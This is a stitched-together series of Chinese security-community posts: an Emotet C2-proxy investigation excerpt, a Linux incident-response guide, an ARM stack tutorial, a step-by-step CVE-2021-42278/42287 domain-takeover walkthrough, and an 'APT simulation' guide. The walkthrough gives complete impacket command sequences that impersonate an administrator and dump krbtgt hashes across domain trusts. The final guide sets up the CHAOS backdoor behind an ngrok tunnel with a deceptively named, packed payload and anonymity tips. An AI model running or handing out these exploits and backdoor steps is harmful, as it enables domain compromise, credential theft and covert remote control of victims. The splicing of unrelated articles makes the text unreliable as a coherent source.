现在的问题是，我们能够找出正在向其转发请求的服务器的IP地址吗？如果可以的话，我们就有可能联系到服务器的所有者并向其咨询一些信息，但是服务器几乎总是在所有者作出响应之前就被关闭了（即使他们愿意做出响应）。假设服务器真的遭到黑客入侵，那我们该如何处理？一种可能的方法是通过黑客手段入侵一个服务器进行相应的调查，然而，这不仅是非法的，而且也是非常不道德的，因为这些服务器都是个人网站，而不是黑客控制的C2（这是我不支持“黑回去”的原因之一，因为这些服务器仅仅看起来像是一个C2服务器，但是并不意味着它就是一个C2服务器）。
我个人的做法是，查看Emotet配置中的IP地址列表，并找到了一个托管在我可以跟他们说得上话的ISP那里的服务器，然后咨询该ISP是否可以查看Emotet端口上的IP地址的入站流量，并查看它是否与其他IP的出站流量相关。他们告诉我，由于隐私的原因，只有当我能够证明该服务器正在从事恶意活动，并且待检查的流量来自我的电脑的时候，他们才能进行这种流量检查，所以我在虚拟机上跑了一个Emotet，并捕获了该虚拟机与可疑IP之间的一些流量。当我向ISP提供这些数据后，他们很快将来自我的IP的流量与其内部网络流量数据进行了匹配，并发现每当我的电脑向被黑客入侵的服务器发送请求时，被黑客入侵的服务器就会将该请求转发到另一台服务器（可能是真正的C2）。
令人遗憾的是，这家ISP为我提供了这个上游服务器的IP，但是却不允许我对外公布；然而[TechHelpList](https://twitter.com/Techhelplistcom/status/927621619757076481)最近发现的一个IP（217.147.92.31）的行为与我发现的IP的行为完全一致。
如果我们通过Shodan来检查这个地址的话，会得到以下结果。
我们可以看到，端口80返回的通用404错误与被黑客入侵的服务器在Emotet端口上返回的完全一致，所以很可能这就是流量转发的目标端口。下一个问题是，这是源端服务器还是另一个反向代理？
不过，这个时间比运行上面Python脚本时看到的无效的请求的时间要长得多，从这一点来看，我们好像已经找到了他们一个后端服务器。
**小结**
现在，通过被入侵的网站来代理C2服务器的做法已经变得非常流行，因为这样能够为攻击者增加一道防线，以防止研究人员轻易发现和关闭实际的C2服务器；另外的好处就是，安全公司通常不会将这些服务器标记为恶意服务器，毕竟这些服务器实际上是运行了多年的合法网站，而不是用前一天才购买的域名搭建的服务器。 | 社区文章 |
# 应急响应入门篇-Linux分析排查技术（上）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言：
当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时，急需第一时间进行处理，使企业的网络信息系统在最短时间内恢复正常工作，进一步查找入侵来源，还原入侵事故过程，同时给出解决方案与防范措施，为企业挽回或减少经济损失。
针对常见的攻击事件，结合工作中应急响应事件分析和解决的方法，总结了一些 **Linux** 服务器入侵排查的思路。
## 01文件分析-敏感文件信息
在linux系统下一切都是文件，其中/tmp是一个特别的临时目录文件。每个用户都可以对它进行读写操作。因此一个普通用户可以对/tmp目录执行读写操作。
查看敏感目录文件，如 tmp目录、可执行程序目录/usr/bin ，/usr/sbin等
1.使用la -alt / 查找tmp目录
2.使用ls —help 查看帮助信息
3.ls的常用用法：
ls 用来显示目录列表
-a 显示所有档案及目录
-l 以长格式显示目录下的内容列表
-t 用文件和目录的更改时间排序
4.进入tmp目录，查找最近新添加的可疑文件。
## 02文件分分析-敏感文件信息
查看开机启动项内容/etc/init.d/，恶意代码很有可能设置在开机启动的位置。
查看指定目录下文件时间顺序的排序：ls -alt | head -n 10
查看文件时间属性: stat 文件名
使用ls -alh /etc/init.d // 查看开机启动项
进入开机启动项目录，对其进行筛选。
针对可以文件可以使用 **stat** 进行创建修改时间、访问时间的详细查看，若修改时间距离时间日期接近，有线性关联，说明可以被篡改。
如：stat apache2 查看文件详细信息。
## 03文件分析-敏感文件信息
主要针对 **新增文件** 分析：
查找24h内被修改的文件
find ./ -mtime 0 -name “*.php”
查找72h内新增的文件
find ./ -ctime -2 -name “‘*.php”
权限查找，在linux系统中，如果具有777权限，那么文件就很可疑。
find ./ -iname “*.php” -perm 777 其中 -iname忽略大小写，-perm用于设定筛选文件权限
find ./ -ctime -2 -name “‘*.txt” //查找72h内新增的txt文件。
find ./ -iname “*.php” -perm 777 //查找最近新建的含.php文件的，具有最高权限的文件。
新建立一个z.php文件，给予最高权限。
再次进行筛选。
## 04-网络连接分析
**在linux中可以使用netstat进行网络连接查看**
netstat -Print network connections，rounting tables，interface
statistics，masquerade connections，and multicast memberships
具体帮助信息查看 man netstat
常用命令 **netstat -pantl** 查看处于tcp网络套接字相关信息
关闭未知连接使用 **kill -9 pid** 既可关闭。
使用：netstat -pantl 查看处于tcp网络套接字相关信息
ip a 查看网络信息
发现可疑进程，使用 kill -9 + pid值，然后关闭进程。
## 05-进程分析-进程所对文件
使用ps命令，分析进程。根据netstat 定位出pid ，使用ps命令，分析进程
使用ps aux 查看你所有进程信息
ps aux | grep “22” 查看最近使用了22端口的进程。
使用pid进行筛选
筛选 pid为647的 进程。
查看端口未22的隐藏进程
## 06-登录分析-筛选异常登录
在Linux做的操作都会被记录到系统日志中，对于登录也可以查看日志信息查看是否有异常登录
last命令记录着所有用户登录系统的日志，可以用来查找非授权用户的登录事件，而last命令的输出结果来源于 **/var/log/wtmp**
文件，稍有经验的入侵者都会删掉
/var/log/wtmp以清除自己行踪，但是还是会露出蛛丝马迹在此文件中的
last -i grep -h 0.0.0.0 查看登录日志，筛选非本地登录
last -i //查看登录日志，含登录ip地址。
last -i grep -v 0.0.0.0 查看登录日志，筛选非本地登录
**常见的用法** ：
who 查看当前登录用户（tty本地登陆 pts远程登录）
w 查看某一时刻用户的行为
uptime 查看有多少用户，以此确定是否存在异常用户
lastb 显示登录失败次数，判断是存在ssh爆破
last 显示用户最近登录信息。
lastlog 登录成功记录
## 总结：
本文主要总结了在遇到了Linux系统时，应急响应先从对敏感文件分析、敏感文件信息、网络连接分析、进程分析、异常登录记录进行分析。 | 社区文章 |
# CVE-2021-42278
域中所有机器名称都以$符结尾、但是Active Directory不会检查机器名账户名末尾是否带有$符。
# CVE-2021-42287
在申请ST过程中、需要先申请TGT然后带着申请到的TGT去向TGS请求ST。在用户向TGS请求ST的过程中、当KDC没有找到TGT中指定的服务名称时、会在该服务名称的后边添加$符进行重新搜索
1. 用户A申请了TGT
2. 申请完TGT之后、删除用户A
3. 使用用户A的TGT以其他用户的身份为用户A请求ST(S4U2self)
4. KDC找不到A、进而查询A$
# 影响版本
**CVE-2021-42287：**
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core
installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2(Server Core
installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core
installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019
**CVE-2021-42278：**
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core
installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2(Server Core
installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core
installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2019 (Server Core installation)
Windows Server 2022
Windows Server 2019
Windows Server 2012 R2 (Server Core installation)
# CVE-2021-42278 + CVE-2021-42287
1. 创建一个与域DC机器账户名`DC1$`一样的机器账户`DC1`（不带$符）
2. 申请TGT
3. 修改/删除新增的机器账户名称
4. 用申请到的TGT去进行S4U2self去向TGS请求ST、此时KDC找不到机器账户DC1
5. 转而查找DC1$(也就是DC本身)、此时发现DC1$账户、使用DC1$（DC本身）的NTLM hash加密ST
6. 获得高权限ST
# 漏洞利用
## 前提条件
**1\. ms-DS-MachineAccountQuota**
* 需要创建一个机器账户、即需要创建机器账户的权限
* 作为域内用户的属性、ms-DS-MachineAccountQuota代表该域内可以创建机器账户的个数，默认值为10、在这个场景中、 ms-DS-MachineAccountQuota > 0 即可
* 需要增加/修改/删除机器账户名，需要对sAMAccountName属性有写权限
* 需要使用S4U协议，因此帐户必须具有SPN属性的值，需要对servicePrincipalName属性有写权限
* 创建者对sAMAccountName 和 servicePrincipalName 属性具有写权限
查看/编辑ms-DS-MachineAccountQuota:
* 方式1. ADSI Edit -> 选择对应域名 --> 属性 ---> ms-DS-MachineAccountQuota
* 方式2. powerview
(Get-DomainObject | select ms-DS-MachineAccountQuota | out-string).trim()
* 方式3： ldapsearch/windapsearch
ldapsearch:
ldapsearch -x -H ldap://192.168.1.99 -D 'sub\usera' -w 'admin123..' -b
"DC=sub,DC=b,DC=local" | grep "ms-ds-machineaccountquota" -i
windapsearch:
./windapsearch --dc 192.168.1.99 -d sub.b.local -u usera -p 'admin123..' -m
custom --filter
'(&(objectClass=domain)(distinguishedName=DC=sub,DC=b,DC=local))' --attrs ms-ds-machineAccountQuota
**2\. 已认证用户拥有SeMachineAccountPrivilege权限（将工作站添加到域）**
* `Authenticated Users` 默认在 `GPO` 配置中具有 `Add workstations to domain`权限 (SeMachineAccountPrivilege）
* 域内普通用户sub\usera在域内机器sub1上执行 whoami /priv 、 不显示SeMachineAccountPrivilege权限
* 查询谁有Add workstations to domain权限
脚本来源： <https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html>
`powershell -exec bypass -Command "&{import-module .\powerview.ps1;(Get-DomainPolicy -Policy dc).privilegerights | select SeMachineAccountPrivilege |
%{ $_ | Add-member -NotePropertyname 'Principalname' -Notepropertyvalue
(ConvertFrom-SID
$_.SeMachineAccountPrivilege.substring(1,$_.SeMachineAccountPrivilege.Length-1));$_
| Format-List}}"`
**3\. 目标DC没有打KB5008380和KB5008602补丁**
可通过rubeus检测；打完补丁之后返回的TGT包很大
<https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html>
## 漏洞利用
**1\. 创建一个机器账户**
`python3 addcomputer.py -computer-name 'fakespn$' -computer-pass
'fakespnpassword' -dc-host sub1.sub.b.local -dc-ip 192.168.1.99
sub.b.local/usera:'admin123..'`
**2\. 清除该机器账户SPN**
`python3 addspn.py -u 'sub.b.local\usera' -p 'admin123..' -t 'fakespn$' -c
192.168.1.99`
**3\. 将该机器账户名称重命名为域控机器名**
`python3 renameMachine.py -current-name 'fakespn$' -new-name sub1 -dc-ip
192.168.1.99 sub.b.local/usera:'admin123..'`
**4\. 为机器账户申请TGT票据**
`python3 getTGT.py -dc-ip 192.168.1.99 sub.b.local/sub1:'fakespnpassword'`
**5\. 重命名/删掉机器账户（致使域控找不到、在后边添加$并重新查找）**
`python3 renameMachine.py -current-name sub1 -new-name 'fakespn$'
sub.b.local/usera:'admin123..' -dc-ip 192.168.1.99`
**6\. 通过S4U2self申请ST**
`KRB5CCNAME=sub1.ccache python3 getST.py -impersonate administrator -spn
cifs/sub1.sub.b.local sub.b.local/sub1 -k -no-pass -dc-ip 192.168.1.99 -self`
<https://github.com/SecureAuthCorp/impacket/blob/b4774d60c7718edcf50196bf2de4aacd09d8ee99/examples/getST.py>
**7\. DCSync**
`KRB5CCNAME=administrator.ccache python3 secretsdump.py -k -no-pass
sub1.sub.b.local -dc-ip 192.168.1.99 -just-dc-user 'sub\krbtgt'`
**8\. 删除添加的机器账户**
`KRB5CCNAME=administrator.ccache python3 addcomputer.py -k -no-pass sub.b.local/administrator -computer-name 'fakespn$' -dc-host sub1.sub.b.local -dc-ip 192.168.1.99 -delete`
实际名称不是显示的名称、而是属性--> 常规 --> 计算机名（windows2000以前版本）（w）对应的名称
`python3 renameMachine.py -current-name 'fakespn$' -new-name fakespn2$ -dc-ip
192.168.1.99 sub.b.local/usera:'admin123..'`
`python3 addcomputer.py -computer-name 'fakespn$' -dc-host sub1.sub.b.local
-dc-ip 192.168.1.99 sub.b.local/usera:'admin123..' -delete`
`python3 addcomputer.py -computer-name 'fakespn2$' -dc-host sub1.sub.b.local
-dc-ip 192.168.1.99 sub.b.local/usera:'admin123..' -delete`
`KRB5CCNAME=administrator.ccache python3 addcomputer.py -k -no-pass
sub.b.local/administrator -computer-name 'fakespn2$' -dc-host sub1.sub.b.local
-dc-ip 192.168.1.99 -delete`
## 跨域可能存在的问题
**1\. 能否跨域创建机器账户**
正如前面所说，`SeMachineAccountPrivilege`权限默认为`Authenticated Users`所拥有，域信任账户满足这个条件
**2\. S4U2self能否跨域**
可以
也就意味着当目标域信任当前域、`默认都是能直接打的`
## 林内
### 环境说明：
子域：sub2.b.local 域控ip：192.168.1.103
父域：b.local 域控ip：192.168.1.88 域控主机：test-dc.b.local
当前拥有sub.b.local/test用户凭证
`python3 addcomputer.py -computer-name 'fakespn$' -computer-pass
'fakespnpassword' -dc-host test-dc.b.local -dc-ip 192.168.1.88
sub2.b.local/test:'admin111..'`
`python3 addspn.py -u 'sub2.b.local\test' -p 'admin111..' -t 'fakespn$' -c
192.168.1.88`
`python3 renameMachine.py -current-name 'fakespn$' -new-name test-dc -dc-ip
192.168.1.88 sub2.b.local/test:'admin111..'`
`python3 getTGT.py -dc-ip 192.168.1.88 b.local/test-dc:'fakespnpassword'`
`python3 renameMachine.py -current-name test-dc -new-name 'fakespn$'
sub2.b.local/test:'admin111..' -dc-ip 192.168.1.88`
`KRB5CCNAME=test-dc.ccache python3 getST.py -impersonate administrator -spn
cifs/test-dc.b.local b.local/test-dc -k -no-pass -dc-ip 192.168.1.88 -self`
`KRB5CCNAME=administrator.ccache python3 secretsdump.py -k -no-pass test-dc.b.local -dc-ip 192.168.1.103 -target-ip 192.168.1.88 -just-dc-user
'b\administrator'`
## 林间
### 环境说明：
B子域：sub2.b.local 域控ip：192.168.1.103
B父域：b.local 域控ip：192.168.1.88 域控主机：test-dc.b.local 与域a.local建立双向林间信任
A域： a.local 域控ip：192.168.1.111 域控主机：a-dc.a.local 与域b.local建立双向林间信任
`python3 addcomputer.py -computer-name 'fakespn$' -computer-pass
'fakespnpassword' -dc-host a-dc.a.local -dc-ip 192.168.1.111
sub2.b.local/test:'admin111..'`
`python3 addspn.py -u 'sub2.b.local\test' -p 'admin111..' -t 'fakespn$' -c
192.168.1.111`
`python3 renameMachine.py -current-name 'fakespn$' -new-name a-dc -dc-ip
192.168.1.111 sub2.b.local/test:'admin111..'`
`python3 getTGT.py -dc-ip 192.168.1.111 a.local/a-dc:'fakespnpassword'`
`python3 renameMachine.py -current-name a-dc -new-name 'fakespn$'
sub2.b.local/test:'admin111..' -dc-ip 192.168.1.111`
`KRB5CCNAME=a-dc.ccache python3 getST.py -impersonate administrator -spn
cifs/a-dc.a.local a.local/a-dc -k -no-pass -dc-ip 192.168.1.111 -self`
`KRB5CCNAME=administrator.ccache python3 secretsdump.py -k -no-pass
a-dc.a.local -dc-ip 192.168.1.103 -target-ip 192.168.1.111 -just-dc-user
'a\krbtgt'`
## 单向信任
既然双向信任是可行的、那么单向信任呢？整个攻击认证过程中目标域并没有向当前域做认证，那么单向信任理论是也是可以打的
### 环境说明
pentest.com : 域控主机：WIN-I5EEUJ7MD5N.pentest.com ip:192.168.1.56
test.lab : 域控主机：testlab.test.lab ip:192.168.1.33
pentest.com 单向信任 test.lab
已拥有test.lab域内普通test凭证。
`python3 addcomputer.py -computer-name 'fakespn$' -computer-pass
'fakespnpassword' -dc-host WIN-I5EEUJ7MD5N.pentest.com -dc-ip 192.168.1.56
test.lab/test:'admin123..'`
`python3 addspn.py -u 'test.lab\test' -p 'admin123..' -t 'fakespn$' -c
192.168.1.56`
`python3 renameMachine.py -current-name 'fakespn$' -new-name WIN-I5EEUJ7MD5N
-dc-ip 192.168.1.56 test.lab/test:'admin123..'`
`python3 getTGT.py -dc-ip 192.168.1.56
pentest.com/WIN-I5EEUJ7MD5N:'fakespnpassword'`
`python3 renameMachine.py -current-name WIN-I5EEUJ7MD5N -new-name 'fakespn$'
test.lab/test:'admin123..' -dc-ip 192.168.1.56`
`KRB5CCNAME=WIN-I5EEUJ7MD5N.ccache python3 getST.py -impersonate administrator
-spn cifs/WIN-I5EEUJ7MD5N.pentest.com pentest.com/WIN-I5EEUJ7MD5N -k -no-pass
-dc-ip 192.168.1.56 -self`
`KRB5CCNAME=administrator.ccache python3 secretsdump.py -k -no-pass
WIN-I5EEUJ7MD5N.pentest.com -dc-ip 192.168.1.33 -target-ip 192.168.1.56 -just-dc-user 'pentest\krbtgt'`
## 总结
感谢同事陈xx关于攻击单向信任方面的理论指导 | 社区文章 |
# 【系列分享】ARM 汇编基础速成7：栈与函数
|
##### 译文声明
本文是翻译文章，文章来源：azeria-labs.com
原文地址：[ https://azeria-labs.com/functions-and-the-stack-part-7/](
https://azeria-labs.com/functions-and-the-stack-part-7/)
译文仅供参考，具体内容表达以及含义原文为准。
译者：[arnow117](http://bobao.360.cn/member/contribute?uid=941579989)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
传送门
[【系列分享】ARM
汇编基础速成1：ARM汇编以及汇编语言基础介绍](http://bobao.360.cn/learning/detail/4070.html)
[【系列分享】ARM 汇编基础速成2：ARM汇编中的数据类型](http://bobao.360.cn/learning/detail/4075.html)
[【系列分享】ARM
汇编基础速成3：ARM模式与THUMB模式](http://bobao.360.cn/learning/detail/4082.html)
[【系列分享】ARM
汇编基础速成4：ARM汇编内存访问相关指令](http://bobao.360.cn/learning/detail/4087.html)
[【系列分享】ARM 汇编基础速成5：连续存取](http://bobao.360.cn/learning/detail/4097.html)
[**【系列分享】ARM 汇编基础速成6：条件执行与分支**](http://bobao.360.cn/learning/detail/4104.html)
在这部分我们将研究一篇独特的内存区域叫做栈，讲解栈的目的以及相关操作。除此之外，我们还会研究ARM架构中函数的调用约定。
**栈**
一般来说，栈是一片在程序/进程中的内存区域。这部分内存是在进程创建的时候被创建的。我们利用栈来存储一些临时数据比如说函数的局部变量，环境变量等。在之前的文章中，我们讲了操作栈的相关指令PUSH和POP。
在我们开始之前，还是了解一下栈的相关知识以及其实现方式吧。首先谈谈栈的增长，即当我们把32位的数据放到栈上时候它的变化。栈可以向上增长(当栈的实现是负向增长时)，或者向下增长(当栈的实现是正向增长时)。具体的关于下一个32位的数据被放到哪里是由栈指针来决定的，更精确的说是由SP寄存器决定。不过这里面所指向的位置，可能是当前(也就是上一次)存储的数据，也可能是下一次存储时的位置。如果SP当前指向上一次存放的数据在栈中的位置(满栈实现)，SP将会递减(降序栈)或者递增(升序栈)，然后再对指向的内容进行操作。而如果SP指向的是下一次要操作的数据的空闲位置(空栈实现)，数据会先被存放，而后SP会被递减(降序栈)或递增(升序栈)。
不同的栈实现，可以用不同情形下的多次存取指令来表示(这里很绕…):
我们的例子中，使用的是满栈降序的栈实现。让我们看一个栈相关的例子。
/* azeria@labs:~$ as stack.s -o stack.o && gcc stack.o -o stack && gdb stack */
.global main
main:
mov r0, #2 /* 设置R0 */
push {r0} /* 将R0存在栈上 */
mov r0, #3 /* 修改R0 */
pop {r0} /* 恢复R0为初始值 */
bx lr /* 程序结束 */
在一开始，栈指针指向地址0xbefff6f8,代表着上一次入栈数据的位置。可以看到当前位置存储了一些值。
gef> x/1x $sp
0xbefff6f8: 0xb6fc7000
在执行完第一条指令MOV后，栈没有改变。在只执行完下一条PUSH指令后，首先SP的值会被减4字节。之后存储在R0中的值会被存放到SP指向的位置中。现在我们在看看SP指向的位置以及其中的值。
gef> x/x $sp
0xbefff6f4: 0x00000002
之后的指令将R0的值修改为3。然后我们执行POP指令将SP中的值存放到R0中，并且将SP的值加4，指向当前栈顶存放数据的位置。z最终R0的值是2。
gef> info registers r0
r0 0x2 2
(下面的动图展示了低地址在顶部的栈的变化情况)
栈被用来存储局部变量，之前的寄存器状态。为了统一管理，函数使用了栈帧这个概念，栈帧是在栈内用于存储函数相关数据的特定区域。栈帧在函数开始时被创建。栈帧指针(FP)指向栈帧的底部元素，栈帧指针确定后，会在栈上申请栈帧所属的缓冲区。栈帧(从它的底部算起)一般包含着返回地址(之前说的LR)，上一层函数的栈帧指针，以及任何需要被保存的寄存器，函数参数(当函数需要4个以上参数时)，局部变量等。虽然栈帧包含着很多数据，但是这其中不少类型我们之前已经了解过了。最后，栈帧在函数结束时被销毁。
下图是关于栈帧的在栈中的位置的抽象描述(默认栈，满栈降序):
来一个例子来更具体的了解下栈帧吧:
/* azeria@labs:~$ gcc func.c -o func && gdb func */
int main()
{
int res = 0;
int a = 1;
int b = 2;
res = max(a, b);
return res;
}
int max(int a,int b)
{
do_nothing();
if(a<b)
{
return b;
}
else
{
return a;
}
}
int do_nothing()
{
return 0;
}
在下面的截图中我们可以看到GDB中栈帧的相关信息:
可以看到上面的图片中我们即将离开函数max(最下面的反汇编中可以看到)。在此时，FP(R11)寄存器指向的0xbefff254就是当前栈帧的底部。这个地址对应的栈上(绿色地址区域)位置存储着0x00010418这个返回地址(LR)。再往上看4字节是0xbefff26c。可以看到这个值是上层函数的栈帧指针。在0xbefff24c和0xbefff248的0x1和0x2是函数max执行时产生的局部变量。所以栈帧包含着我们之前说过的LR，FP以及两个局部变量。
**函数**
在开始学习ARM下的函数前，我们需要先明白一个函数的结构:
序言准备(Prologue)
函数体
结束收尾(Epilogue)
序言的目的是为了保存之前程序的执行状态(通过存储LR以及R11到栈上)以及设定栈以及局部函数变量。这些的步骤的实现可能根据编译器的不同有差异。通常来说是用PUSH/ADD/SUB这些指令。举个例子:
push {r11, lr} /* 保存R11与LR */
add r11, sp, #4 /* 设置栈帧底部,PUSH两个寄存器,SP加4后指向栈帧底部元素 */
sub sp, sp, #16 /* 在栈上申请相应空间 */
函数体部分就是函数本身要完成的任务了。这部分包括了函数自身的指令，或者跳转到其它函数等。下面这个是函数体的例子。
mov r0, #1 /* 设置局部变量(a=1),同时也是为函数max准备参数a */
mov r1, #2 /* 设置局部变量(b=2),同时也是为函数max准备参数b */
bl max /* 分支跳转调用函数max */
上面的代码也展示了调用函数前需要如何准备局部变量，以为函数调用设定参数。一般情况下，前四个参数通过R0-R3来传递，而多出来的参数则需要通过栈来传递了。函数调用结束后，返回值存放在R0寄存器中。所以不管max函数如何运作，我们都可以通过R0来得知返回值。而且当返回值位64位值时，使用的是R0与R1寄存器一同存储64位的值。
函数的最后一部分即结束收尾，这一部分主要是用来恢复程序寄存器以及回到函数调用发生之前的状态。我们需要先恢复SP栈指针，这个可以通过之前保存的栈帧指针寄存器外加一些加减操作做到(保证回到FP,LR的出栈位置)。而当我们重新调整了栈指针后，我们就可以通过出栈操作恢复之前保存的寄存器的值。基于函数类型的不同，POP指令有可能是结束收尾的最后一条指令。然而，在恢复后我们可能还需要通过BX指令离开函数。一个收尾的样例代码是这样的。
sub sp, r11, #4 /* 收尾操作开始，调整栈指针，有两个寄存器要POP，所以从栈帧底部元素再减4 */
pop {r11, pc} /* 收尾操作结束。恢复之前函数的栈帧指针，以及通过之前保存的LR来恢复PC。 */
总结一下：
序言设定函数环境
函数体实现函数逻辑功能，将结果存到R0
收尾恢复程序状态，回到调用发生的地方。
关于函数，有一个关键点我们要知道，函数的类型分为叶函数以及非叶函数。叶函数是指函数中没有分支跳转到其他函数指令的函数。非叶函数指包含有跳转到其他函数的分支跳转指令的函数。这两种函数的实现都很类似，当然也有一些小不同。这里我们举个例子来分析一下:
/* azeria@labs:~$ as func.s -o func.o && gcc func.o -o func && gdb func */
.global main
main:
push {r11, lr} /* Start of the prologue. Saving Frame Pointer and LR onto the stack */
add r11, sp, #4 /* Setting up the bottom of the stack frame */
sub sp, sp, #16 /* End of the prologue. Allocating some buffer on the stack */
mov r0, #1 /* setting up local variables (a=1). This also serves as setting up the first parameter for the max function */
mov r1, #2 /* setting up local variables (b=2). This also serves as setting up the second parameter for the max function */
bl max /* Calling/branching to function max */
sub sp, r11, #4 /* Start of the epilogue. Readjusting the Stack Pointer */
pop {r11, pc} /* End of the epilogue. Restoring Frame pointer from the stack, jumping to previously saved LR via direct load into PC */
max:
push {r11} /* Start of the prologue. Saving Frame Pointer onto the stack */
add r11, sp, #0 /* 设置栈帧底部,PUSH一个寄存器,SP加0后指向栈帧底部元素 */
sub sp, sp, #12 /* End of the prologue. Allocating some buffer on the stack */
cmp r0, r1 /* Implementation of if(a<b) */
movlt r0, r1 /* if r0 was lower than r1, store r1 into r0 */
add sp, r11, #0 /* 收尾操作开始，调整栈指针，有一个寄存器要POP，所以从栈帧底部元素再减0 */
pop {r11} /* restoring frame pointer */
bx lr /* End of the epilogue. Jumping back to main via LR register */
上面的函数main以及max函数，一个是非叶函数另一个是叶函数。就像之前说的非叶函数中有分支跳转到其他函数的逻辑，函数max中没有在函数体逻辑中包含有这类代码，所以是叶函数。
除此之外还有一点不同是两类函数序言与收尾的实现是有差异的。来看看下面这段代码，是关于叶函数与非叶函数的序言部分的差异的:
/* A prologue of a non-leaf function */
push {r11, lr} /* Start of the prologue. Saving Frame Pointer and LR onto the stack */
add r11, sp, #4 /* Setting up the bottom of the stack frame */
sub sp, sp, #16 /* End of the prologue. Allocating some buffer on the stack */
/* A prologue of a leaf function */
push {r11} /* Start of the prologue. Saving Frame Pointer onto the stack */
add r11, sp, #0 /* Setting up the bottom of the stack frame */
sub sp, sp, #12 /* End of the prologue. Allocating some buffer on the stack */
一个主要的差异是，非叶函数需要在栈上保存更多的寄存器，这是由于非叶函数的本质决定的，因为在执行时LR寄存器会被修改，所以需要保存LR寄存器以便之后恢复。当然如果有必要也可以在序言期保存更多的寄存器。
下面这段代码可以看到，叶函数与非叶函数在收尾时的差异主要是在于，叶函数的结尾直接通过LR中的值跳转回去就好，而非叶函数需要先通过POP恢复LR寄存器，再进行分支跳转。
/* An epilogue of a leaf function */
add sp, r11, #0 /* Start of the epilogue. Readjusting the Stack Pointer */
pop {r11} /* restoring frame pointer */
bx lr /* End of the epilogue. Jumping back to main via LR register */
/* An epilogue of a non-leaf function */
sub sp, r11, #4 /* Start of the epilogue. Readjusting the Stack Pointer */
pop {r11, pc} /* End of the epilogue. Restoring Frame pointer from the stack, jumping to previously saved LR via direct load into PC */
最后，我们要再次强调一下在函数中BL和BX指令的使用。在我们的示例中，通过使用BL指令跳转到叶函数中。在汇编代码中我们使用了标签，在编译过程中，标签被转换为对应的内存地址。在跳转到对应位置之前，BL会将下一条指令的地址存储到LR寄存器中这样我们就能在函数max完成的时候返回了。
BX指令在被用在我们离开一个叶函数时，使用LR作为寄存器参数。刚刚说了LR存放着函数调用返回后下一条指令的地址。由于叶函数不会在执行时修改LR寄存器，所以就可以通过LR寄存器跳转返回到main函数了。同样BX指令还会帮助我们切换ARM/Thumb模式。同样这也通过LR寄存器的最低比特位来完成，0代表ARM模式，1代表Thumb模式。
最后，这张动图阐述了非叶函数调用叶函数时候的内部寄存器的工作状态。
**原作者在后续叶函数和非叶函数相关样例代码中将设置与恢复栈帧指针时的偏移写错了，根据栈帧设置的逻辑已经修复。**
**
**
****
传送门
[【系列分享】ARM
汇编基础速成1：ARM汇编以及汇编语言基础介绍](http://bobao.360.cn/learning/detail/4070.html)
[【系列分享】ARM 汇编基础速成2：ARM汇编中的数据类型](http://bobao.360.cn/learning/detail/4075.html)
[【系列分享】ARM
汇编基础速成3：ARM模式与THUMB模式](http://bobao.360.cn/learning/detail/4082.html)
[【系列分享】ARM
汇编基础速成4：ARM汇编内存访问相关指令](http://bobao.360.cn/learning/detail/4087.html)
[【系列分享】ARM 汇编基础速成5：连续存取](http://bobao.360.cn/learning/detail/4097.html)
[**【系列分享】ARM 汇编基础速成6：条件执行与分支**](http://bobao.360.cn/learning/detail/4104.html)
**
** | 社区文章 |
# APT攻击:模拟一次网络战过程
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
鱼竿：
基于golang语言的CHAOS远程后门(作者是巴西的开源爱好者)
<https://github.com/tiagorlampert/CHAOS>
鱼钩：
ngrok(可以利用github账号登陆注册)
<https://ngrok.com/>
鱼饵：
洋葱路由
(<http://www.theonionrouter.com/>)
匿名网络空间
(<https://www.upload.ee/>)
彩蛋：
钓鱼攻击配置用到的exp
(word宏利用、浏览器插件利用)
匿名邮箱
(<http://www.yopmail.com/>)
(<https://mytemp.email/>)
匿名网上冲浪和洋葱共享
（内详）
在线匿名的获得一个美帝电话号
（内详）
渗透测试环境系统和平台
## 详细安装
【鱼竿】后门在kali上的安装：
**Install dependencies (You need Golang and UPX package installed)**
$ apt install golang upx-ucl -y
**Clone this repository**
$ git clone <https://github.com/tiagorlampert/CHAOS.git>
**Go into the repository**
$ cd CHAOS
## 运行
$ go run CHAOS.go
成功运行后如图：
【鱼钩】外网环境布置(ngrok)：
注册ngrok，否则无法使用tcp转发模块，可以使用github便捷登陆
<https://dashboard.ngrok.com/user/signup>
在kali中下载并放置于运行目录:
添加token目的是使用tcp模块：
<https://dashboard.ngrok.com/get-started>
将这行代码复制并且在kali中执行
开启ngrok为自己开启一条外网通道：
./ngrok tcp 4444
标记的两个需要注意是域名和端口，以我的例子为[0.tcp.ngrok.io]和[19413]
下一步ping出[0.tcp.ngrok.io]的ip地址，以上这一种利用同样适用于各类python开发的远程后门和msf都适用，甚至windows的RAT也非常适用，是一个非常便捷的端口转发技巧：
标记好这个ip地址后，进入chaos操作：
选择1制作一个payload
填入刚刚ping出的ip:
端口写刚刚标记的端口:
为自己的后门写个具有欺骗性的名字，并加壳，然后启动tcp监听返回的shell：
